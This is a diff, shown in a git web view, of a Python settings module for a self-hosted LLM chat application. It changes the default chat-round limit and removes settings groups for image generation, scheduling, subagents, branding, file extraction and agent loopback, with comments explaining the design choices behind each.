doc.body = body[:MAX_BODY_CHARS]
|
||||
doc.author = author
|
||||
db.commit()
|
||||
return doc
|
||||
|
||||
|
||||
def append(db: DBSession, doc: ScratchDoc, text: str, *, author: str) -> ScratchDoc:
|
||||
"""Add to the end, with a blank line between what was there and what is new.
|
||||
|
||||
Its own function rather than the caller reading and concatenating, because
|
||||
two calls in one round would otherwise each read the same body and the
|
||||
second would drop the first -- the same lost update `plan_update` documents.
|
||||
"""
|
||||
existing = doc.body or ""
|
||||
joined = f"{existing.rstrip()}\n\n{text}" if existing.strip() else text
|
||||
return update(db, doc, body=joined, author=author)
|
||||
@@ -25,15 +25,10 @@ AUDIO = "audio"
|
||||
# Used when nothing is stored. `services/tools.py:MAX_ROUNDS` is the same number
|
||||
# and exists for callers with no session -- this module is where the setting is
|
||||
# read, and the two are asserted equal by a test so they cannot drift.
|
||||
DEFAULT_CHAT_ROUNDS = 0
|
||||
DEFAULT_CHAT_ROUNDS = 5
|
||||
SEARCH = "search"
|
||||
PROMPTS = "prompts"
|
||||
AGENTS = "agents"
|
||||
IMAGES = "images"
|
||||
SCHEDULES = "schedules"
|
||||
SUBAGENTS = "subagents"
|
||||
BRANDING = "branding"
|
||||
EXTRACTION = "extraction"
|
||||
|
||||
|
||||
def _general_defaults() -> dict[str, Any]:
|
||||
@@ -42,12 +37,7 @@ def _general_defaults() -> dict[str, Any]:
|
||||
# When on, new accounts land in the `pending` role and cannot sign in
|
||||
# until an administrator approves them. Reserved for the users pass.
|
||||
"require_approval": False,
|
||||
# `instance_name` used to be here and now lives in the BRANDING group,
|
||||
# with the rest of what makes an instance somebody else's. The key is
|
||||
# deliberately not listed any more: an upgraded instance still has it in
|
||||
# its stored general row, and `branding.snapshot` reads that once as a
|
||||
# seed. Leaving a default here as well would give the name two sources
|
||||
# and no answer to which one wins.
|
||||
"instance_name": "LLeMbas",
|
||||
# Applied to every chat that has no model or chat prompt of its
|
||||
# own. See services.chat.effective_system_prompt.
|
||||
"system_prompt": "",
|
||||
@@ -63,21 +53,11 @@ def _general_defaults() -> dict[str, Any]:
|
||||
# model saying it has what it needs. This only catches the case where it
|
||||
# never says so.
|
||||
#
|
||||
# Zero, meaning no ceiling, and the loop falls back to MAX_TOOL_ROUNDS
|
||||
# as a runaway backstop -- the same shape `Limits.steps` has for an agent
|
||||
# chat. It was 1, then 5, and both were the same mistake at different
|
||||
# scales: a number low enough to be reached by ordinary work is not a
|
||||
# ceiling, it is a schedule, and it overrides the model's judgement on
|
||||
# every turn rather than catching a runaway. Five was reached by a small
|
||||
# local model doing a genuinely good piece of research -- six searches,
|
||||
# each one informed by the last -- and the reply ended there.
|
||||
#
|
||||
# What actually bounds an ordinary chat is the context window
|
||||
# (`CONTEXT_HEADROOM`), which is a real limit rather than a guess at how
|
||||
# much looking-up a question deserves. An administrator who wants a
|
||||
# ceiling can still set one, and `core.rounds` then tells the model it
|
||||
# has one; with none, `core.keep_working` tells it to work until done.
|
||||
"max_chat_rounds": 0,
|
||||
# Five rather than one because several built-in tools are two-step pairs
|
||||
# -- knowledge_get and notes_get read a document "by the id a search
|
||||
# returned" -- so a ceiling of one makes the second half unreachable and
|
||||
# the library searchable but not readable. Zero means no ceiling.
|
||||
"max_chat_rounds": 5,
|
||||
}
|
||||
|
||||
|
||||
@@ -97,13 +77,6 @@ def _agents_defaults() -> dict[str, Any]:
|
||||
# a model reads web pages, files and command output, all of them
|
||||
# untrusted, so a shell is a capability somebody chooses on purpose.
|
||||
"enabled": False,
|
||||
# Whether a connection may point back at this machine. Off, and off on
|
||||
# an instance upgrading into this too: a loopback profile walks straight
|
||||
# past "nothing runs on the LLeMbas host", and that sentence is what the
|
||||
# absence of a sandbox rests on. See services/agent/hosts.py for the
|
||||
# three positions and why the middle one exists.
|
||||
"loopback": "off",
|
||||
"loopback_port": 0,
|
||||
# Per command.
|
||||
"default_timeout": 60,
|
||||
"max_timeout": 600,
|
||||
@@ -249,246 +222,15 @@ def _prompts_defaults() -> dict[str, Any]:
|
||||
}
|
||||
|
||||
|
||||
def _images_defaults() -> dict[str, Any]:
|
||||
"""Generating pictures on a ComfyUI somebody else is running."""
|
||||
return {
|
||||
"enabled": False,
|
||||
"base_url": "",
|
||||
"api_key_encrypted": "",
|
||||
# A generation is tens of seconds and a queue in front of it can be
|
||||
# minutes. Far longer than any other timeout here, because the thing
|
||||
# being waited for genuinely takes that long.
|
||||
"timeout": 600.0,
|
||||
# What this ComfyUI advertises, discovered by the Test button and stored
|
||||
# so the request path never has to ask. The checkpoints are also the
|
||||
# enum a model chooses from, which is why an empty list means the tool
|
||||
# is not offered: a model naming a checkpoint that does not exist gets a
|
||||
# refusal from ComfyUI and spends a round finding out.
|
||||
"checkpoints": [],
|
||||
"samplers": [],
|
||||
"schedulers": [],
|
||||
"default_workflow_id": "",
|
||||
# What a generation uses when nothing names otherwise. Empty means "no
|
||||
# opinion" for every one of them, falling through to
|
||||
# `workflow.DEFAULTS` -- which is why they are empty here rather than
|
||||
# holding a copy of that dict. A copy would freeze an instance on
|
||||
# whatever this file said the day it was installed, and would make
|
||||
# improving a floor in code reach nobody.
|
||||
#
|
||||
# These exist because for the whole life of this feature there were
|
||||
# none: 512x512, euler and twenty steps were what every instance got
|
||||
# whatever card it was running on, and the only ways to move them were
|
||||
# to bake literals into a template instead of placeholders, or to write
|
||||
# prose in the instructions box and hope.
|
||||
"default_checkpoint": "",
|
||||
"default_steps": "",
|
||||
"default_cfg": "",
|
||||
"default_width": "",
|
||||
"default_height": "",
|
||||
"default_sampler": "",
|
||||
"default_scheduler": "",
|
||||
"default_denoise": "",
|
||||
"default_negative": "",
|
||||
# How many pictures one run makes. Not offered to the model at all --
|
||||
# see workflow.MODEL_SETTABLE -- because a model asking for six because
|
||||
# it is unsure is exactly the cost this must not invite.
|
||||
"default_batch": "",
|
||||
# Whether a vision model looks at what came back and says whether to
|
||||
# keep it. Deliberately independent of `preserve_vram` below: on a
|
||||
# machine that can hold both models this costs nothing, and on one that
|
||||
# cannot it costs two model loads per retry, which is a judgement only
|
||||
# the person running it can make.
|
||||
"review_enabled": False,
|
||||
# Which model judges. Empty means the chat's own, when it has vision.
|
||||
"review_model_id": "",
|
||||
"max_tries": 4,
|
||||
# Unload the chat's own LLM while ComfyUI works, and free ComfyUI
|
||||
# afterwards. For a machine that cannot hold both at once. Off by
|
||||
# default: it makes every generation slower, and most people have the
|
||||
# memory.
|
||||
"preserve_vram": False,
|
||||
# Instance-wide guidance, injected into the harness beside the tool's
|
||||
# own. Where "always add these words to the negative prompt" lives.
|
||||
"instructions": "",
|
||||
}
|
||||
|
||||
|
||||
def _schedules_defaults() -> dict[str, Any]:
|
||||
"""Scheduling: work that happens because time passed rather than because
|
||||
somebody asked just now.
|
||||
|
||||
Off until an administrator turns it on, for the reason agent execution is:
|
||||
this spends model time — and, in an agent chat, runs commands — with nobody
|
||||
at the keyboard, which is a capability somebody chooses on purpose rather
|
||||
than one that arrives with an upgrade.
|
||||
"""
|
||||
return {
|
||||
"enabled": False,
|
||||
# How often the ticker looks. The rule's own granularity is a minute, so
|
||||
# this bounds how late a firing can be; 30s costs one indexed SELECT.
|
||||
"tick_seconds": 30,
|
||||
# A ceiling per person, so one account cannot fill the ticker's sweep.
|
||||
"max_per_user": 20,
|
||||
# Firings running at once. Fifty schedules due at 09:00 must not open
|
||||
# fifty generations against one endpoint.
|
||||
"max_concurrent": 3,
|
||||
# The floor `rule.validate` clamps an interval up to. Separate from the
|
||||
# rule module's own hard minimum: an administrator may want a coarser
|
||||
# floor than "a minute" without editing code.
|
||||
"min_interval_seconds": 60,
|
||||
# How many turns may pile up unanswered in one chat before a firing is
|
||||
# skipped instead of queued. `_drain` takes one per reply, so an
|
||||
# unbounded queue is a backlog that outlives the day that caused it.
|
||||
"max_queued": 3,
|
||||
}
|
||||
|
||||
|
||||
def _subagents_defaults() -> dict[str, Any]:
|
||||
"""Delegating a piece of a reply to a second, unattended model.
|
||||
|
||||
Off until an administrator turns it on, for the reason agent execution and
|
||||
scheduling are: a reply that may spawn helpers spends model time
|
||||
multiplicatively, and on a single local endpoint four of them at once is
|
||||
four times the queue rather than four times the speed.
|
||||
|
||||
Every number below is a **ceiling on one reply's helpers**, not a working
|
||||
budget for one of them. The distinction is the one `Limits.steps` already
|
||||
makes: a bound low enough to be reached by ordinary work stops the work
|
||||
halfway instead of catching a runaway.
|
||||
"""
|
||||
return {
|
||||
"enabled": False,
|
||||
# How many one reply may spawn in total. Small on purpose: fanning out
|
||||
# across four sub-questions is the use this exists for, and a reply that
|
||||
# wants twenty has misunderstood the tool rather than found a use for it.
|
||||
"max_per_reply": 4,
|
||||
# Running at once across the whole instance. A subagent is a whole
|
||||
# generation against the same endpoint the parent is waiting on.
|
||||
"max_concurrent": 6,
|
||||
# What one subagent may spend. Its own numbers rather than the chat's or
|
||||
# the agent settings', because a helper answering one question is not
|
||||
# the same shape of work as the reply that asked it: it should run out
|
||||
# of room long before the parent does.
|
||||
"max_rounds": 30,
|
||||
"wall_seconds": 600,
|
||||
"max_completion_tokens": 60_000,
|
||||
# Whether the helper's own chat is kept after its answer is handed back.
|
||||
# Off means it is deleted, which is what makes this cheap to use; on is
|
||||
# for working out why one came back with something odd. Kept chats are
|
||||
# temporary either way, so the day-old sweep still gets them.
|
||||
"keep_transcript": False,
|
||||
}
|
||||
|
||||
|
||||
_DEFAULTS: dict[str, Any] = {
|
||||
GENERAL: _general_defaults,
|
||||
AUDIO: _audio_defaults,
|
||||
SEARCH: _search_defaults,
|
||||
PROMPTS: _prompts_defaults,
|
||||
AGENTS: _agents_defaults,
|
||||
IMAGES: _images_defaults,
|
||||
SCHEDULES: _schedules_defaults,
|
||||
SUBAGENTS: _subagents_defaults,
|
||||
# Whose instance this is. The defaults live in `services/branding.py`
|
||||
# beside the code that reads them, because every one of them is paired with
|
||||
# a label and a hint for the admin page and splitting the three across two
|
||||
# modules is how one of them goes stale.
|
||||
BRANDING: lambda: _branding_defaults(),
|
||||
# A lambda for the same reason BRANDING is one: both factories are
|
||||
# defined below this table, which is where the accessor that reads each
|
||||
# group lives.
|
||||
EXTRACTION: lambda: _extraction_defaults(),
|
||||
}
|
||||
|
||||
|
||||
def _extraction_defaults() -> dict[str, Any]:
|
||||
"""What happens to a file between the upload and the model.
|
||||
|
||||
The numbers were constants in `services/files.py` and every one of them is a
|
||||
trade somebody with a different corpus makes differently: a 20 MB ceiling is
|
||||
generous for notes and small for scans, and 120,000 characters is thirty
|
||||
thousand tokens, which is most of a small window and a rounding error in a
|
||||
large one. The defaults here are exactly the constants they replace, so an
|
||||
instance that changes nothing behaves as it always did.
|
||||
|
||||
`Image.MAX_IMAGE_PIXELS` is deliberately **not** here. It is a
|
||||
decompression-bomb guard, not a preference: a 60,000x60,000 PNG is a few KB
|
||||
on disk and hundreds of gigabytes decoded, and nobody should be able to
|
||||
raise that from a form.
|
||||
"""
|
||||
return {
|
||||
"max_upload_mb": 20,
|
||||
"max_image_edge": 1400,
|
||||
"jpeg_quality": 85,
|
||||
"max_pdf_pages": 300,
|
||||
"max_extracted_chars": 120_000,
|
||||
"orphan_hours": 24,
|
||||
# Extensions treated as text beyond the built-in list. Decodability is
|
||||
# what actually decides, so this only picks a media type -- which is why
|
||||
# it is a list of extensions rather than a mapping somebody has to get
|
||||
# right twice.
|
||||
"extra_text_extensions": [],
|
||||
# Whether a PDF nothing could read is stored with its error, or refused.
|
||||
# Keeping it is the default and the honest one: a scanned page is a file
|
||||
# somebody still wants attached, and the error says why it contributes
|
||||
# nothing rather than leaving them to wonder.
|
||||
"reject_unreadable_pdf": False,
|
||||
# --- Semantic search ---------------------------------------------------
|
||||
# Which model turns text into vectors. Empty means none, and none means
|
||||
# the keyword search that has always been here, byte for byte -- which
|
||||
# is what makes this safe to add to an instance that never asked for it.
|
||||
"embedding_model_id": "",
|
||||
# How long a chunk is, in characters, and how much of the previous one
|
||||
# rides along with it. Characters rather than tokens because the count
|
||||
# has to be made without asking the endpoint, and the estimate is the
|
||||
# same four-to-one this codebase already uses.
|
||||
"chunk_chars": 1200,
|
||||
"chunk_overlap": 150,
|
||||
# How many chunks one embedding request carries. Small enough that a
|
||||
# local endpoint is not asked for a megabyte at once.
|
||||
"embed_batch": 16,
|
||||
}
|
||||
|
||||
|
||||
def extraction(db: DBSession) -> dict[str, Any]:
|
||||
"""Extraction settings, clamped on read for the reason `agents` gives.
|
||||
|
||||
Every floor here is a number that means something bad at zero: a zero-page
|
||||
PDF limit extracts nothing from every PDF and reports success, and a
|
||||
zero-character chunk is an infinite loop in the splitter.
|
||||
"""
|
||||
values = get_group(db, EXTRACTION)
|
||||
values["max_upload_mb"] = min(max(int(values.get("max_upload_mb") or 1), 1), 512)
|
||||
values["max_image_edge"] = min(max(int(values.get("max_image_edge") or 1), 128), 8192)
|
||||
values["jpeg_quality"] = min(max(int(values.get("jpeg_quality") or 1), 30), 100)
|
||||
values["max_pdf_pages"] = min(max(int(values.get("max_pdf_pages") or 1), 1), 5000)
|
||||
values["max_extracted_chars"] = min(
|
||||
max(int(values.get("max_extracted_chars") or 1), 1000), 5_000_000
|
||||
)
|
||||
values["orphan_hours"] = min(max(int(values.get("orphan_hours") or 1), 1), 8760)
|
||||
values["chunk_chars"] = min(max(int(values.get("chunk_chars") or 1), 200), 8000)
|
||||
# Bounded *against the chunk*, not absolutely: an overlap at or past the
|
||||
# chunk size means every chunk starts where the last one did, which is a
|
||||
# splitter that never advances.
|
||||
values["chunk_overlap"] = min(
|
||||
max(int(values.get("chunk_overlap") or 0), 0), values["chunk_chars"] // 2
|
||||
)
|
||||
values["embed_batch"] = min(max(int(values.get("embed_batch") or 1), 1), 256)
|
||||
stored = values.get("extra_text_extensions")
|
||||
values["extra_text_extensions"] = (
|
||||
[str(item) for item in stored] if isinstance(stored, list) else []
|
||||
)
|
||||
return values
|
||||
|
||||
|
||||
def _branding_defaults() -> dict[str, Any]:
|
||||
"""Imported inside the call: `services/branding.py` imports this module for
|
||||
the group key, so a top-level import back is a cycle."""
|
||||
from lembas.services import branding
|
||||
|
||||
return branding.defaults()
|
||||
|
||||
|
||||
def defaults(key: str = GENERAL) -> dict[str, Any]:
|
||||
"""The built-in values for a settings group, with nothing stored applied."""
|
||||
factory = _DEFAULTS.get(key)
|
||||
@@ -597,85 +339,4 @@ def agents(db: DBSession) -> dict[str, Any]:
|
||||
max(int(values.get("max_completion_tokens") or 0), 0), 5_000_000
|
||||
)
|
||||
values["background_max_jobs"] = min(max(int(values.get("background_max_jobs") or 0), 1), 100)
|
||||
# Anything unrecognised means off. A stored value this version does not know
|
||||
# must fail closed here: the one direction that is safe to get wrong is
|
||||
# refusing a connection somebody has to re-allow, and the other direction is
|
||||
# a shell on this host.
|
||||
if values.get("loopback") not in ("off", "port", "on"):
|
||||
values["loopback"] = "off"
|
||||
try:
|
||||
port = int(values.get("loopback_port") or 0)
|
||||
except (TypeError, ValueError):
|
||||
port = 0
|
||||
values["loopback_port"] = port if 1 <= port <= 65535 else 0
|
||||
return values
|
||||
|
||||
|
||||
def images(db: DBSession) -> dict[str, Any]:
|
||||
"""Image generation settings, with the numbers clamped.
|
||||
|
||||
Clamped on read rather than on save, for the reason `agents` gives: a value
|
||||
stored by an earlier version cannot bite either. `max_tries` has a floor of
|
||||
one because zero would mean the tool generates nothing at all and reports
|
||||
success -- there is no reading of "no tries" that anybody wants, unlike the
|
||||
zeroes above, which each mean something.
|
||||
"""
|
||||
values = get_group(db, IMAGES)
|
||||
values["timeout"] = min(max(float(values.get("timeout") or 0), 10.0), 3600.0)
|
||||
values["max_tries"] = min(max(int(values.get("max_tries") or 1), 1), 10)
|
||||
for name in ("checkpoints", "samplers", "schedulers"):
|
||||
stored = values.get(name)
|
||||
values[name] = [str(item) for item in stored] if isinstance(stored, list) else []
|
||||
return values
|
||||
|
||||
|
||||
def schedules(db: DBSession) -> dict[str, Any]:
|
||||
"""Scheduling settings, with the numbers clamped on read.
|
||||
|
||||
Clamped here rather than at the save, for the reason `agents` gives: a value
|
||||
stored by an earlier version cannot bite either. Every floor below is a
|
||||
number that means something bad at zero -- a tick of 0 is a busy loop, a
|
||||
concurrency of 0 is a ticker that claims firings and never runs them, and
|
||||
both would look from the outside like scheduling simply not working.
|
||||
"""
|
||||
values = get_group(db, SCHEDULES)
|
||||
values["tick_seconds"] = min(max(int(values.get("tick_seconds") or 30), 5), 300)
|
||||
values["max_per_user"] = min(max(int(values.get("max_per_user") or 20), 1), 200)
|
||||
values["max_concurrent"] = min(max(int(values.get("max_concurrent") or 3), 1), 20)
|
||||
values["min_interval_seconds"] = min(
|
||||
max(int(values.get("min_interval_seconds") or 60), 60), 86400
|
||||
)
|
||||
values["max_queued"] = min(max(int(values.get("max_queued") or 3), 1), 50)
|
||||
return values
|
||||
|
||||
|
||||
def subagents(db: DBSession) -> dict[str, Any]:
|
||||
"""Subagent settings, clamped on read for the reason `agents` gives.
|
||||
|
||||
Zero is meaningful for `max_completion_tokens` alone — no ceiling on what
|
||||
one helper writes — and is a floor of one everywhere else, because a
|
||||
`max_per_reply` of zero is the feature switched off wearing the switch's
|
||||
clothes, and that is a thing to answer in one place rather than two.
|
||||
"""
|
||||
values = get_group(db, SUBAGENTS)
|
||||
values["max_per_reply"] = min(max(int(values.get("max_per_reply") or 1), 1), 20)
|
||||
values["max_concurrent"] = min(max(int(values.get("max_concurrent") or 1), 1), 50)
|
||||
values["max_rounds"] = min(max(int(values.get("max_rounds") or 1), 1), 200)
|
||||
values["wall_seconds"] = min(max(int(values.get("wall_seconds") or 1), 30), 7200)
|
||||
values["max_completion_tokens"] = min(
|
||||
max(int(values.get("max_completion_tokens") or 0), 0), 5_000_000
|
||||
)
|
||||
return values
|
||||
|
||||
|
||||
def images_ready(db: DBSession) -> bool:
|
||||
"""Whether image generation can actually happen.
|
||||
|
||||
Three things, and the checkpoint list is the one worth stating: without it a
|
||||
model has nothing to name, and ComfyUI refuses a workflow whose checkpoint
|
||||
does not exist -- so offering the tool would be offering a round that ends
|
||||
in a refusal. Read by the tool gate, which is why it lives here beside the
|
||||
values rather than in `tools.py` with the other gates.
|
||||
"""
|
||||
values = images(db)
|
||||
return bool(values["enabled"] and values["base_url"] and values["checkpoints"])
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user